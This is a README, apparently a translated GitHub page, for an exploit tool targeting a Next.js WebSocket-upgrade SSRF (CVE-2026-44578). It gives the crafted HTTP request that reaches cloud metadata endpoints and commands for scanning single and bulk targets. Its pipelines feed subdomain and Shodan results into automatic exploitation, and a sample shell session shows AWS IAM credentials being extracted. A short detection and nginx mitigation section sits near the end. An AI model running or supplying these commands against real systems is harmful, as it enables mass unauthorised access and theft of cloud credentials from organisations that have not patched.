GadaLuBau1337/CVE-2026-44578

GitHub: GadaLuBau1337/CVE-2026-44578

针对 Next.js CVE-2026-44578 SSRF 漏洞的扫描与利用工具,支持云元数据提取和批量检测。

Stars: 0 | Forks: 0

``` ╔══════════════════════════════════════════════════════════════╗ ║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║ ║ Next.js WebSocket Upgrade Handler SSRF ║ ║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║ ║ @gadalubau1337 — Bug Bounty Tooling ║ ╚══════════════════════════════════════════════════════════════╝ ``` ![Python](https://img.shields.io/badge/python-3.10+-blue?style=flat-square&logo=python) ![CVE](https://img.shields.io/badge/CVE-2026--44578-red?style=flat-square) ![CVSS](https://img.shields.io/badge/CVSS-8.6_High-orange?style=flat-square) ![License](https://img.shields.io/badge/license-MIT-green?style=flat-square) ![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20Windows%20%7C%20Android-lightgrey?style=flat-square) **CVE-2026-44578** — 通过 Next.js WebSocket Upgrade Handler 触发的 Server-Side Request Forgery (SSRF) [概述](#overview) · [安装](#install) · [用法](#usage) · [Pipeline](#pipeline) · [Shodan](#shodan) · [交互式](#interactive-shell) · [免责声明](#disclaimer)
## 概述 2026年5月11日,Vercel 修复了 **CVE-2026-44578**(CVSS 8.6):Next.js 的 WebSocket upgrade handler 中存在一个无需身份验证的 SSRF,影响 **13.4.13** 及之后的所有自托管部署版本。 ### 原理 ``` GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI Host: vulnerable-nextjs.com Connection: Upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== ``` `http://` 中的 `//` 会触发 `normalizeRepeatedSlashes` 提前退出,并设置 `statusCode: 308` 和 `finished: true`。存在漏洞的 upgrade handler **忽略了这两个标志**,并在 `parsedUrl.protocol` 为真值时调用 `proxyRequest` —— 将请求代理到攻击者控制的 **端口 80** 主机上。 ``` // router-server.ts (vulnerable) - if (parsedUrl.protocol) { - return await proxyRequest(req, socket, parsedUrl, head) + if (finished && parsedUrl.protocol) { + if (!statusCode) { + return await proxyRequest(req, socket, parsedUrl, head) ``` ### 受影响版本 | 产品 | 受影响版本 | 已修复 | |----------------|--------------------|----------| | Next.js | 13.4.13 – 15.5.15 | 15.5.16 | | Next.js | 16.0.0 – 16.2.4 | 16.2.5 | | Vercel 托管 | ✅ 不受影响 | N/A | ### 限制 - **仅限 GET**(不支持 POST/PUT) - **仅限端口 80**(显式端口会被 URL normalization 去除) - AWS **IMDSv2** 不可利用(需要 PUT token) - GCP 元数据会以 400 拒绝 `Upgrade: websocket` - 反向代理(nginx/caddy/HAProxy)会阻止绝对形式的 URI ## 演示 ![NextSSRF — AWS Credentials Exfiltrated](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/b6529f00dd185142.jpg) ## 安装 ``` git clone https://github.com/ynsmroztas/nextssrf cd nextssrf python3 nextssrf.py -t https://target.com ``` ## 用法 ### 单目标扫描 ``` python3 nextssrf.py -t https://target.com ``` ### 针对特定云服务 ``` # 仅 AWS metadata python3 nextssrf.py -t https://target.com --cloud aws # 自定义内部 target python3 nextssrf.py -t https://target.com \ --ssrf-host http://internal-api --path /admin # 深度扫描 (+ 内部服务) python3 nextssrf.py -t https://target.com --cloud aws --deep ``` ### 批量扫描(Pipeline) ``` # subfinder + httpx + nextssrf subfinder -d target.com | httpx -silent | \ python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl # 文件输入 python3 nextssrf.py -f targets.txt --threads 15 -o results.json # 强制扫描(即使版本未知) python3 nextssrf.py -t https://target.com --force ``` ### 退出代码 | 代码 | 含义 | |------|------------------------| | `0` | 无漏洞 / 干净 | | `1` | 存在漏洞(未利用)| | `2` | 已确认 SSRF | ## 交互式 Shell 具备自动云检测和 IAM 凭据提取的高级利用 shell: ``` python3 nextssrf.py -t https://target.com ``` ``` ╔══════════════════════════════════════════════════╗ ║ NextSSRF v2 — Interactive Exploit Shell ║ ║ Target : ec2-x-x-x-x.compute.amazonaws.com ║ ║ CVE : CVE-2026-44578 | Status: Connected ║ ╚══════════════════════════════════════════════════╝ nextssrf(ec2-x...)> cloud [>] Detecting cloud provider... ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname'] → Run 'aws' for full credential extraction nextssrf(ec2-x...)> aws [1/3] Instance Information [200] Hostname : ip-172-31-47-134.ec2.internal [200] AZ : us-east-1d [200] Account ID : {"AccountId": "370741706736"} [2/3] IAM Role Discovery ✓ IAM Role found: my-ec2-role [3/3] Credential Extraction ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 🎯 AWS CREDENTIALS EXFILTRATED! ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Expiration : 2026-05-14T22:32:22Z ``` ### Shell 命令 | 命令 | 描述 | |----------------|------------------------------------------| | `cloud` | 自动检测云平台(AWS/Azure/GCP/DO/OCI) | | `aws` | 完整的 AWS IAM 凭据链 | | `azure` | Azure 托管标识 token | | `scan` | 云检测 + 自动利用 | | `url `| 自定义 SSRF 请求 | | `get ` | 按索引指定 AWS IMDS 目标 | | `list` | 显示所有 IMDS endpoint | | `history` | 请求历史 | | `save` | 将会话导出为 JSON | | `quit` | 退出 | ### 自动模式 ``` # 检测 cloud + 自动运行完整 exploit chain python3 nextssrf.py -t https://target.com --auto ``` ## Pipeline 示例 ``` # 完整 recon → exploit pipeline subfinder -d target.com \ | httpx -silent -server \ | grep -i "next" \ | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl # Shodan 批量扫描 → 在已确认的 hosts 上进行交互 python3 shodan_nextjs.py --key KEY --org "TargetCorp" \ | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl # 检查特定版本范围 cat hosts.txt \ | python3 nextssrf.py --pipe --force --cloud aws \ | jq '.[] | select(.ssrf_hits | length > 0)' ``` ## 检测(Blue Team) 日志中的利用迹象: ``` # Next.js 进程日志 Failed to proxy http:/ ← single slash = normalization fingerprint # 访问日志 (absolute-form URI + Upgrade header) GET http://169.254.169.254/... HTTP/1.1 Connection: Upgrade Upgrade: websocket ``` ### 缓解措施(如果无法打补丁) ``` # Nginx:拒绝 absolute-form request URIs if ($request_uri ~* "^https?://") { return 400; } ``` ## 参考 - [GHSA-c4j6-fc7j-m34r](https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r) - [NVD CVE-2026-44578](https://nvd.nist.gov/vuln/detail/CVE-2026-44578) - [Next.js 安全发布 - 2026年5月](https://nextjs.org/blog/security-release-2026-05) - [Hadrian 技术分析](https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2) ## 免责声明
由 ❤️ 制作 [@gadalubau1337](https://github.com/gadalubau1337) · [gadalubau1337.github.io](https://gadalubau1337.github.io) **Intigriti 顶级 Hacker · 100+ 名人堂 (HOF) · 2430+ 漏洞 · 1100+ P1 严重级别**
标签:CISA项目, Python, SSRF, 加密, 无后门, 漏洞扫描器, 运行时操纵, 逆向工具